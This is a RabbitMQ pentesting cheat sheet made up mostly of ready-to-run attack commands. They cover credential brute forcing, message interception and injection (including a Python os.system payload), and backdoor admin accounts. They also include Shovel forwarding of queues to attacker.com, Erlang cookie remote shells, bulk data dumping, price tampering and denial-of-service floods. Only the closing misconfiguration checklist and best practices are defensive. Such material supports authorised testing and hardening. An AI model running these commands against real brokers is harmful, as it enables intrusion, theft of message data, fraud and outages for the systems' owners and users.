RabbitMQ Pentesting

RabbitMQ pentesting techniques for identifying, exploiting message broker services, enumeration, attack vectors and post-exploitation insights.

port 5672port 15672port 25672

RabbitMQ

Default Ports: 5672 (AMQP), 15672 (Management UI), 25672 (Clustering)

RabbitMQ is an open-source message broker software that implements the Advanced Message Queuing Protocol (AMQP). It facilitates communication between distributed applications by routing and queuing messages. RabbitMQ is widely used in microservices architectures and can expose sensitive data if misconfigured.

Connect​

Using Web Management Interface​

# Access management UI  
http://target.com:15672  
https://target.com:15672  
  
# Default credentials  
guest:guest (only works on localhost by default)  
  
# Login with credentials  
Username: admin  
Password: password

Using rabbitmqadmin CLI​

# Install rabbitmqadmin  
wget http://target.com:15672/cli/rabbitmqadmin  
chmod +x rabbitmqadmin  
  
# List queues  
./rabbitmqadmin -H target.com -u admin -p password list queues  
  
# List exchanges  
./rabbitmqadmin -H target.com -u admin -p password list exchanges  
  
# List bindings  
./rabbitmqadmin -H target.com -u admin -p password list bindings  
  
# Get messages  
./rabbitmqadmin -H target.com -u admin -p password get queue=queue_name

Using Python (pika library)​

import pika  
  
# Connect to RabbitMQ  
credentials = pika.PlainCredentials('admin', 'password')  
parameters = pika.ConnectionParameters(  
    'target.com',  
    5672,  
    '/',  
    credentials  
)  
connection = pika.BlockingConnection(parameters)  
channel = connection.channel()  
  
# Declare queue  
channel.queue_declare(queue='test')  
  
# Publish message  
channel.basic_publish(exchange='', routing_key='test', body='Hello')  
  
# Consume message  
method, properties, body = channel.basic_get(queue='test')  
print(body)  
  
connection.close()

Recon​

Service Detection with Nmap​

Use Nmap to detect RabbitMQ services and identify server capabilities.

nmap -p 5672,15672,25672 target.com

Banner Grabbing​

Connect to RabbitMQ services to gather version and service information.

# Management API  
curl http://target.com:15672/api/  
  
# Get cluster name  
curl -u guest:guest http://target.com:15672/api/cluster-name  
  
# Get overview  
curl -u guest:guest http://target.com:15672/api/overview  
  
# Check if authentication is required  
curl http://target.com:15672/api/whoami

Version Detection​

Extract RabbitMQ version information from various sources.

# Get version from management API  
curl -u admin:password http://target.com:15672/api/overview | jq .rabbitmq_version  
  
# From login page  
curl -s http://target.com:15672/ | grep -i "rabbitmq"  
  
# From error pages  
curl http://target.com:15672/nonexistent

Enumeration​

User Enumeration​

Discover RabbitMQ users and their permissions.

# List users (requires admin)  
curl -u admin:password http://target.com:15672/api/users  
  
# Get current user  
curl -u admin:password http://target.com:15672/api/whoami  
  
# User permissions  
curl -u admin:password http://target.com:15672/api/users/username/permissions  
  
# Using rabbitmqadmin  
./rabbitmqadmin -H target.com -u admin -p password list users

Queue Enumeration​

Explore RabbitMQ queues and their contents.

# List all queues  
curl -u admin:password http://target.com:15672/api/queues  
  
# Queue details  
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name  
  
# Messages in queue  
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name/get \  
  -X POST -d '{"count":10,"ackmode":"ack_requeue_false","encoding":"auto"}'  
  
# Using rabbitmqadmin  
./rabbitmqadmin -H target.com -u admin -p password list queues \  
  name messages consumers

Exchange Enumeration​

Discover RabbitMQ exchanges and their bindings.

# List exchanges  
curl -u admin:password http://target.com:15672/api/exchanges  
  
# Exchange details  
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.direct  
  
# Bindings  
curl -u admin:password http://target.com:15672/api/bindings  
  
# Using rabbitmqadmin  
./rabbitmqadmin -H target.com -u admin -p password list exchanges

Virtual Host Enumeration​

Discover RabbitMQ virtual hosts and their configurations.

# List vhosts  
curl -u admin:password http://target.com:15672/api/vhosts  
  
# Vhost permissions  
curl -u admin:password http://target.com:15672/api/vhosts/%2F/permissions  
  
# Using rabbitmqadmin  
./rabbitmqadmin -H target.com -u admin -p password list vhosts

Connection and Channel Info​

Monitor active connections and channels.

# Active connections  
curl -u admin:password http://target.com:15672/api/connections  
  
# Active channels  
curl -u admin:password http://target.com:15672/api/channels  
  
# Consumers  
curl -u admin:password http://target.com:15672/api/consumers  
  
# Using rabbitmqadmin  
./rabbitmqadmin -H target.com -u admin -p password list connections  
./rabbitmqadmin -H target.com -u admin -p password list channels

Attack Vectors​

Default Credentials​

RabbitMQ installations often retain default credentials for system accounts.

# Common default credentials  
guest:guest  # Only works on localhost by default  
admin:admin  
administrator:administrator  
user:user  
test:test  
  
# Try with curl  
curl -u guest:guest http://target.com:15672/api/overview  
  
# Check if guest account is enabled  
curl -u guest:guest http://target.com:15672/api/whoami

Brute Force Attack​

Brute forcing RabbitMQ management interface can reveal weak credentials.

Using Hydra​

hydra -l admin -P /usr/share/wordlists/rockyou.txt \  
  target.com http-get /api/whoami:15672

Using Burp Suite Intruder​

# Capture request to /api/whoami  
# Send to Intruder  
# Set Authorization header as payload position

Using Custom Script​

for pass in $(cat passwords.txt); do  
  response=$(curl -s -u admin:$pass http://target.com:15672/api/whoami)  
  if [[ $response != *"401"* ]]; then  
    echo "[+] Found: admin:$pass"  
    break  
  fi  
done

Message Interception​

Intercept and consume messages from RabbitMQ queues.

# List queues and get messages  
curl -u admin:password http://target.com:15672/api/queues  
  
# Get messages from specific queue  
curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \  
  -X POST \  
  -H "Content-Type: application/json" \  
  -d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}'  
  
# Consume all messages  
python3 << 'EOF'  
import pika  
import json  
  
credentials = pika.PlainCredentials('admin', 'password')  
connection = pika.BlockingConnection(  
    pika.ConnectionParameters('target.com', 5672, '/', credentials)  
)  
channel = connection.channel()  
  
def callback(ch, method, properties, body):  
    print(f"Message: {body}")  
    with open('messages.txt', 'a') as f:  
        f.write(body.decode() + '\n')  
  
channel.basic_consume(queue='queue_name', on_message_callback=callback, auto_ack=True)  
channel.start_consuming()  
EOF

Message Injection​

Inject malicious messages into RabbitMQ queues.

# Publish malicious message to queue  
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \  
  -X POST \  
  -H "Content-Type: application/json" \  
  -d '{  
    "properties":{},  
    "routing_key":"target_queue",  
    "payload":"malicious_payload",  
    "payload_encoding":"string"  
  }'  
  
# Using Python  
import pika  
  
credentials = pika.PlainCredentials('admin', 'password')  
connection = pika.BlockingConnection(  
    pika.ConnectionParameters('target.com', 5672, '/', credentials)  
)  
channel = connection.channel()  
  
# Inject code execution payload (if consumer processes unsafely)  
payload = '{"cmd":"__import__(\'os\').system(\'whoami\')"}'  
channel.basic_publish(exchange='', routing_key='tasks', body=payload)

User Creation and Privilege Escalation​

Create new users and escalate privileges in RabbitMQ.

# Create new admin user  
curl -u admin:password http://target.com:15672/api/users/backdoor \  
  -X PUT \  
  -H "Content-Type: application/json" \  
  -d '{"password":"P@ssw0rd123!","tags":"administrator"}'  
  
# Set permissions  
curl -u admin:password http://target.com:15672/api/permissions/%2F/backdoor \  
  -X PUT \  
  -H "Content-Type: application/json" \  
  -d '{"configure":".*","write":".*","read":".*"}'  
  
# Using rabbitmqadmin  
./rabbitmqadmin -H target.com -u admin -p password declare user \  
  name=backdoor password=P@ssw0rd123! tags=administrator

Shovel Plugin Abuse​

Exploit RabbitMQ Shovel plugin for message forwarding.

# If shovel plugin is enabled, can forward messages  
curl -u admin:password http://target.com:15672/api/parameters/shovel/%2F/my-shovel \  
  -X PUT \  
  -H "Content-Type: application/json" \  
  -d '{  
    "value": {  
      "src-uri": "amqp://target.com",  
      "src-queue": "source_queue",  
      "dest-uri": "amqp://attacker.com",  
      "dest-queue": "stolen_messages"  
    }  
  }'  
  
# All messages from source_queue will be forwarded to attacker's RabbitMQ

Erlang Cookie Exploitation​

Exploit Erlang cookie for direct node access.

# If Erlang cookie is known or found  
# Cookie located at: ~/.erlang.cookie or /var/lib/rabbitmq/.erlang.cookie  
  
# Connect to Erlang node  
erl -name attacker@attacker-host -setcookie COOKIE -remsh rabbit@target-host  
  
# Execute Erlang commands  
# List users  
rabbit_auth_backend_internal:list_users().  
  
# Add user  
rabbit_auth_backend_internal:add_user(<<"backdoor">>, <<"password">>).  
  
# Set admin tag  
rabbit_auth_backend_internal:set_tags(<<"backdoor">>, [administrator]).

Post-Exploitation​

Data Exfiltration​

Extract sensitive data from RabbitMQ systems.

# Export all queues and messages  
for queue in $(curl -s -u admin:password http://target.com:15672/api/queues | jq -r '.[].name'); do  
  echo "[+] Dumping queue: $queue"  
  curl -u admin:password http://target.com:15672/api/queues/%2F/$queue/get \  
    -X POST \  
    -d '{"count":1000,"ackmode":"ack_requeue_true","encoding":"auto"}' \  
    > ${queue}_messages.json  
done  
  
# Export configuration  
curl -u admin:password http://target.com:15672/api/definitions > rabbitmq_config.json  
  
# Export users and permissions  
curl -u admin:password http://target.com:15672/api/users > users.json  
curl -u admin:password http://target.com:15672/api/permissions > permissions.json

Persistence​

Create persistent backdoor access to RabbitMQ systems.

# Create backdoor user with admin privileges  
curl -u admin:password http://target.com:15672/api/users/system-monitor \  
  -X PUT \  
  -d '{"password":"ComplexP@ss123!","tags":"administrator"}'  
  
# Set full permissions  
curl -u admin:password http://target.com:15672/api/permissions/%2F/system-monitor \  
  -X PUT \  
  -d '{"configure":".*","write":".*","read":".*"}'  
  
# Create hidden queue for C2  
curl -u admin:password http://target.com:15672/api/queues/%2F/.system \  
  -X PUT \  
  -d '{"durable":true}'

Message Manipulation​

Modify messages in RabbitMQ queues for malicious purposes.

# Modify messages in queue (requires draining and republishing)  
# Get messages  
messages=$(curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \  
  -X POST -d '{"count":100,"ackmode":"ack_requeue_false","encoding":"auto"}')  
  
# Modify and republish  
echo "$messages" | jq -c '.[]' | while read msg; do  
  # Modify message (e.g., change prices, quantities, etc.)  
  modified=$(echo "$msg" | jq '.payload = "modified_payload"')  
    
  # Republish  
  curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \  
    -X POST -d "$modified"  
done

Denial of Service​

Perform denial of service attacks against RabbitMQ systems.

# Flood queue with messages  
for i in {1..100000}; do  
  curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \  
    -X POST \  
    -d "{\"routing_key\":\"target_queue\",\"payload\":\"DoS_$i\",\"payload_encoding\":\"string\"}"  
done  
  
# Create resource-intensive bindings  
for i in {1..1000}; do  
  curl -u admin:password http://target.com:15672/api/bindings/%2F/e/exchange/q/queue \  
    -X POST -d "{\"routing_key\":\"key_$i\"}"  
done  
  
# Exhaust disk space with persistent messages  
curl -u admin:password http://target.com:15672/api/queues/%2F/disk-filler \  
  -X PUT -d '{"durable":true}'

Common RabbitMQ API Endpoints​

Endpoint| Method| Description| Auth Required
---|---|---|---
/api/overview| GET| Server overview| Yes
/api/whoami| GET| Current user info| Yes
/api/users| GET| List users| Admin
/api/queues| GET| List queues| Yes
/api/exchanges| GET| List exchanges| Yes
/api/bindings| GET| List bindings| Yes
/api/vhosts| GET| List virtual hosts| Yes
/api/connections| GET| List connections| Admin
/api/definitions| GET| Export configuration| Admin

Useful Tools​

Tool| Description| Primary Use Case
---|---|---
rabbitmqadmin| Official CLI tool| Management and automation
pika| Python AMQP library| Programmatic access
curl| HTTP client| API interaction
Burp Suite| Web proxy| API testing
Nmap| Network scanner| Service detection
Metasploit| Exploitation framework| Automated testing

Security Misconfigurations to Test​

  • ❌ Default credentials (guest:guest)
  • ❌ Weak admin passwords
  • ❌ Management interface exposed to internet
  • ❌ No TLS/SSL encryption
  • ❌ Guest account enabled remotely
  • ❌ Overly permissive user permissions
  • ❌ No authentication on AMQP port (5672)
  • ❌ Erlang cookie exposed or weak
  • ❌ Shovel/Federation plugins misconfigured
  • ❌ No rate limiting on message publishing
  • ❌ Sensitive data in messages
  • ❌ No message encryption
  • ❌ Verbose error messages
  • ❌ Outdated RabbitMQ version

Message Queue Security Best Practices​

  • ✅ Change default credentials
  • ✅ Use strong passwords for all users
  • ✅ Implement TLS/SSL encryption
  • ✅ Disable guest account for remote access
  • ✅ Use principle of least privilege
  • ✅ Enable authentication on all ports
  • ✅ Protect Erlang cookie
  • ✅ Regularly update RabbitMQ
  • ✅ Implement message encryption
  • ✅ Monitor and log access
  • ✅ Use virtual hosts for isolation
  • ✅ Implement rate limiting
  • ✅ Validate and sanitize message content
  • ✅ Restrict management interface access